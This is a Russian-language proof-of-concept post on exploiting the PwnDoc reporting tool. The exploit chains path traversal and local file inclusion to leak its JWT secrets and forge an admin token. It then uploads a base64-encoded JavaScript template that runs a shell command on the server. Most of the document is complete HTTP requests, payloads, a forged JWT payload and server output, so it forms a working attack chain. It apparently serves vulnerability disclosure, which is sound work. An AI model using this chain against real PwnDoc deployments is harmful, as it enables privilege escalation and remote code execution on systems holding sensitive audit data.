
[PoC] Повышение привилегий и выполнение кода через LFI в PwnDoC
Инструмент PwnDoc уязвим как к обходу пути (path traversal), так и к локальному включению файлов (LFI), что позволяет непривилегированным пользователям раскрывать JWT-секреты и добиться выполнения кода.
Требования:
userfinding.vulnType или finding.categoryЦепочка уязвимости состоит из следующих частей:
AuditSchema.language как на уровне модели, так и на уровне конечной точки. (См. /backend/src/models/audit.js, строка: 71, /backend/src/routes/audit.js, строка: 57)require с задаваемым пользователем параметром AuditSchema.language во время генерации отчёта. (См. /backend/src/translate/index.js, строка: 10, /backend/src/lib/report-generator.js, строки: 24-25, 477, 487)jwtSecret и jwtRefreshSecret через module exports в файле auth.js. (См. /backend/src/lib/auth.js, строки: 17-21)js-файлы (требуется разрешение template:create).../lib/auth.js в качестве language; позже файл будет загружен и выполнен с помощью функции require, и в результате будут экспортированы и jwtSecret, и jwtRefreshSecret.Запрос:
POST /api/audits HTTP/1.1
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=utf-8
Origin: https://127.0.0.1:8443
Content-Length: 73
Accept-Language: en-GB,en;q=0.9
Host: 127.0.0.1:8443
User-Agent: {user-agent}
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: token=JWT%20{token}
{"name":"privesc-poc","language":"../lib/auth.js","auditType":"tested"}
Ответ:
HTTP/1.1 201 Created
Server: nginx/1.22.1
Date: Sun, 20 Nov 2022 15:34:32 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 598
Connection: keep-alive
X-Powered-By: Express
Access-Control-Allow-Methods: GET,POST,DELETE,PUT,OPTIONS
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Expose-Headers: Content-Disposition
{"status":"success","datas":{"message":"Audit created successfully","audit":{"collaborators":[],"reviewers":[],"state":"EDIT","approvals":[],"_id":"637a49086f5a2e0012dd58c5","name":"privsec-poc","language":"../lib/auth.js","auditType":"tested","creator":"637a2065ab932e0012015580","sections":[],"customFields":[],"sortFindings":[{"category":"jjj","sortValue":"cvssScore","sortOrder":"desc","sortAuto":true},{"category":"dd","sortValue":"cvssScore","sortOrder":"desc","sortAuto":true}],"scope":[],"findings":[],"createdAt":"2022-11-20T15:34:32.246Z","updatedAt":"2022-11-20T15:34:32.246Z","__v":0}}}
finding.vulnType - {vulnType} или finding.category - {category}. См. документацию по шаблонам**Запрос:
PUT /api/audits/637a49086f5a2e0012dd58c5/general HTTP/1.1
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=utf-8
Origin: https://127.0.0.1:8443
Content-Length: 207
Accept-Language: en-GB,en;q=0.9
Host: 127.0.0.1:8443
User-Agent: {user-agent}
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: token=JWT%20{token}
{"collaborators":[],"reviewers":[],"_id":"637a49086f5a2e0012dd58c5","name":"privesc-poc","language":"../lib/auth.js","auditType":"tested","customFields":[],"template":"6377d57e5cccb10012049dbb","scope":[]}
Ответ:
HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Sun, 20 Nov 2022 15:34:43 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 65
Connection: keep-alive
X-Powered-By: Express
Access-Control-Allow-Methods: GET,POST,DELETE,PUT,OPTIONS
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Expose-Headers: Content-Disposition
{"status":"success","datas":"Audit General updated successfully"}
category или vulnType должно содержать jwtSecret.**Запрос:
POST /api/audits/637a49086f5a2e0012dd58c5/findings HTTP/1.1
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=utf-8
Origin: https://127.0.0.1:8443
Content-Length: 368
Accept-Language: en-GB,en;q=0.9
Host: 127.0.0.1:8443
User-Agent: {user-agent}
Referer: https://127.0.0.1:8443/audits/637a2106ab932e0012015583/findings/add
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: token=JWT%20{token}
{"title":"dsdsd","vulnType":"prod","description":"{description}","observation":"{observation}","references":[],"cvssv3":"CVSS:3.1/AV:A/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:L","category":null,"customFields":[], "category":"jwtSecret", "vulnType":"jwtRefreshSecret"}
Ответ:
HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Sun, 20 Nov 2022 15:34:54 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 65
Connection: keep-alive
X-Powered-By: Express
Access-Control-Allow-Methods: GET,POST,DELETE,PUT,OPTIONS
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Expose-Headers: Content-Disposition
{"status":"success","datas":"Audit Finding created successfully"}
jwtSecret из созданного документа docx.Запрос:
GET /api/audits/637a49086f5a2e0012dd58c5/generate HTTP/1.1
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate, br
Host: 127.0.0.1:8443
User-Agent: {user-agent}
Accept-Language: en-GB,en;q=0.9
Referer: https://127.0.0.1:8443/audits/637a2106ab932e0012015583/findings/add
Connection: keep-alive
Cookie: token=JWT%20{token}
Ответ:
HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Sun, 20 Nov 2022 15:37:34 GMT
Content-Type: application/octet-stream
Content-Length: 98134
Connection: keep-alive
X-Powered-By: Express
Access-Control-Allow-Methods: GET,POST,DELETE,PUT,OPTIONS
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Expose-Headers: Content-Disposition
Content-Disposition: attachment; filename="rce-poc.docx"
{doc-content}
role на admin в вашем JWT-токене и подпишите его с использованием полученного jwtSecret.JWT payload:
{
"id": "637a2065ab932e0012015580",
"username": "justuser",
"role": "admin",
"firstname": "justuser",
"lastname": "justuser",
"email": "[email protected]",
"phone": "12345",
"roles": [
"audits:create",
"audits:read",
"audits:update",
"audits:delete",
"images:create",
"images:read",
"clients:create",
"clients:read",
"clients:update",
"clients:delete",
"companies:create",
"companies:read",
"companies:update",
"companies:delete",
"languages:read",
"audit-types:read",
"vulnerability-types:read",
"vulnerability-categories:read",
"sections:read",
"templates:read",
"users:read",
"roles:read",
"vulnerabilities:read",
"vulnerability-updates:create",
"custom-fields:read",
"settings:read-public"
],
"iat": 1668958053,
"exp": 1668958953
}
После раскрытия JWT-секрета и добавления либо роли admin, либо разрешения template:create злоумышленник может использовать атаку обхода пути для выполнения JS-кода, загруженного с помощью функциональности загрузки отчётов.
js-файл с помощью функциональности загрузки отчётов.Запрос:
POST /api/templates HTTP/1.1s
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=utf-8
Origin: https://127.0.0.1:8443
Content-Length: 571
Accept-Language: en-GB,en;q=0.9
Host: 127.0.0.1:8443
User-Agent: {user-agent}
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: token=JWT%20{token}
{"name":"exploit-poc","file":"Y29uc29sZS5sb2coJ1tQT0NdIC0gU3RhcnQgb2YgY29kZSBleGVjdXRpb24uJyk7Cgpjb25zdCB7IGV4ZWMgfSA9IHJlcXVpcmUoImNoaWxkX3Byb2Nlc3MiKTsKCmV4ZWMoImxzIC1sYSIsIChlcnJvciwgc3Rkb3V0LCBzdGRlcnIpID0+IHsKICAgIGlmIChlcnJvcikgewogICAgICAgIGNvbnNvbGUubG9nKGBlcnJvcjogJHtlcnJvci5tZXNzYWdlfWApOwogICAgICAgIHJldHVybjsKICAgIH0KICAgIGlmIChzdGRlcnIpIHsKICAgICAgICBjb25zb2xlLmxvZyhgc3RkZXJyOiAke3N0ZGVycn1gKTsKICAgICAgICByZXR1cm47CiAgICB9CiAgICBjb25zb2xlLmxvZyhgc3Rkb3V0OiAke3N0ZG91dH1gKTsKfSk7CmNvbnNvbGUubG9nKCdbUE9DXSAtIEVuZCBvZiBjb2RlIGV4ZWN1dGlvbi4nKTsK","ext":"js"}
Ответ:
HTTP/1.1 201 Created
Server: nginx/1.22.1
Date: Sun, 20 Nov 2022 15:36:24 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 95
Connection: keep-alive
X-Powered-By: Express
Access-Control-Allow-Methods: GET,POST,DELETE,PUT,OPTIONS
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Expose-Headers: Content-Disposition
{"status":"success","datas":{"_id":"637a49786f5a2e0012dd58c7","name":"exploit-poc","ext":"js"}}
Содержимое файла — это JS-код в кодировке base64:
console.log('[POC] - Start of code execution.');
const { exec } = require("child_process");
exec("ls -la", (error, stdout, stderr) => {
if (error) {
console.log(`error: ${error.message}`);
return;
}
if (stderr) {
console.log(`stderr: ${stderr}`);
return;
}
console.log(`stdout: ${stdout}`);
});
console.log('[POC] - End of code execution.');
../../report-templates/exploit-poc.js в качестве свойства AuditSchema.language; позже файл будет загружен и выполнен с помощью функции require.Запрос:
POST /api/audits HTTP/1.1
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=utf-8
Origin: https://127.0.0.1:8443
Content-Length: 130
Accept-Language: en-GB,en;q=0.9
Host: 127.0.0.1:8443
User-Agent: {user-agent}
Referer: https://127.0.0.1:8443/audits
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: token=JWT%20{token-with-privileges}
{"name":"rce-poc","language":"../../report-templates/exploit-poc.js","auditType":"tested"}
Ответ:
HTTP/1.1 201 Created
Server: nginx/1.22.1
Date: Sun, 20 Nov 2022 15:36:37 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 617
Connection: keep-alive
X-Powered-By: Express
Access-Control-Allow-Methods: GET,POST,DELETE,PUT,OPTIONS
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Expose-Headers: Content-Disposition
{"status":"success","datas":{"message":"Audit created successfully","audit":{"collaborators":[],"reviewers":[],"state":"EDIT","approvals":[],"_id":"637a49856f5a2e0012dd58c8","name":"rce-poc","language":"../../report-templates/exploit-poc.js","auditType":"tested","creator":"637a2065ab932e0012015580","sections":[],"customFields":[],"sortFindings":[{"category":"jjj","sortValue":"cvssScore","sortOrder":"desc","sortAuto":true},{"category":"dd","sortValue":"cvssScore","sortOrder":"desc","sortAuto":true}],"scope":[],"findings":[],"createdAt":"2022-11-20T15:36:37.885Z","updatedAt":"2022-11-20T15:36:37.885Z","__v":0}}}
Запрос:
PUT /api/audits/637a49856f5a2e0012dd58c8/general HTTP/1.1
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=utf-8
Origin: https://127.0.0.1:8443
Content-Length: 224
Accept-Language: en-GB,en;q=0.9
Host: 127.0.0.1:8443
User-Agent: {user-agent}
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: token={token-with-privileges}
{"collaborators":[],"reviewers":[],"_id":"637a49856f5a2e0012dd58c8","name":"rce-poc","language":"../../report-templates/exploit-poc.js","auditType":"tested","customFields":[],"template":"6377d57e5cccb10012049dbb","scope":[]}
Ответ:
HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Sun, 20 Nov 2022 15:37:02 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 65
Connection: keep-alive
X-Powered-By: Express
Access-Control-Allow-Methods: GET,POST,DELETE,PUT,OPTIONS
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Expose-Headers: Content-Disposition
{"status":"success","datas":"Audit General updated successfully"}
Запрос:
GET /api/audits/637a49856f5a2e0012dd58c8/generate HTTP/1.1
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate, br
Host: 127.0.0.1:8443
User-Agent: {user-agent}
Accept-Language: en-GB,en;q=0.9
Referer: https://127.0.0.1:8443/audits/637a2106ab932e0012015583/findings/add
Connection: keep-alive
Cookie: token=JWT%20{token}
Ответ:
HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Sun, 20 Nov 2022 15:37:34 GMT
Content-Type: application/octet-stream
Content-Length: 98134
Connection: keep-alive
X-Powered-By: Express
Access-Control-Allow-Methods: GET,POST,DELETE,PUT,OPTIONS
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Expose-Headers: Content-Disposition
Content-Disposition: attachment; filename="rce-poc.docx"
{doc-content}
Должны появиться следующие логи:
pwndoc-backend | [POC] - Start of code execution.
pwndoc-backend | [POC] - End of code execution.
pwndoc-backend | stdout: total 1156
pwndoc-backend | drwxr-xr-x 1 root root 4096 Nov 18 12:05 .
pwndoc-backend | drwxr-xr-x 1 root root 4096 Nov 18 13:00 ..
pwndoc-backend | -rw-r--r-- 1 root root 23 Nov 18 11:43 .dockerignore
pwndoc-backend | -rw-r--r-- 1 root root 266 Nov 18 11:43 Dockerfile
pwndoc-backend | -rw-r--r-- 1 root root 249 Nov 18 11:43 Dockerfile.dev
pwndoc-backend | -rw-r--r-- 1 root root 250 Nov 18 11:43 Dockerfile.test
pwndoc-backend | -rw-r--r-- 1 root root 412 Nov 18 11:43 README.md
pwndoc-backend | -rw-r--r-- 1 root root 204 Nov 18 11:43 babel.config.js
pwndoc-backend | -rw-r--r-- 1 root root 749 Nov 18 11:43 docker-compose.dev.yml
pwndoc-backend | -rw-r--r-- 1 root root 367 Nov 18 11:43 docker-compose.test.yml
pwndoc-backend | -rw-r--r-- 1 root root 67 Nov 18 11:43 jest.config.js
pwndoc-backend | drwxr-xr-x 594 root root 20480 Nov 18 12:05 node_modules
pwndoc-backend | -rw-r--r-- 1 root root 1100446 Nov 18 11:43 package-lock.json
pwndoc-backend | -rw-r--r-- 1 root root 1255 Nov 18 11:43 package.json
pwndoc-backend | drwxr-xr-x 10 root root 320 Nov 20 15:36 report-templates
pwndoc-backend | drwxr-xr-x 7 root root 4096 Nov 18 12:04 src
pwndoc-backend | drwxr-xr-x 2 root root 4096 Nov 18 12:04 ssl
pwndoc-backend | drwxr-xr-x 2 root root 4096 Nov 18 12:04 tests
pwndoc-backend |
Вы можете подписаться на меня в Twitter, GitHub или YouTube.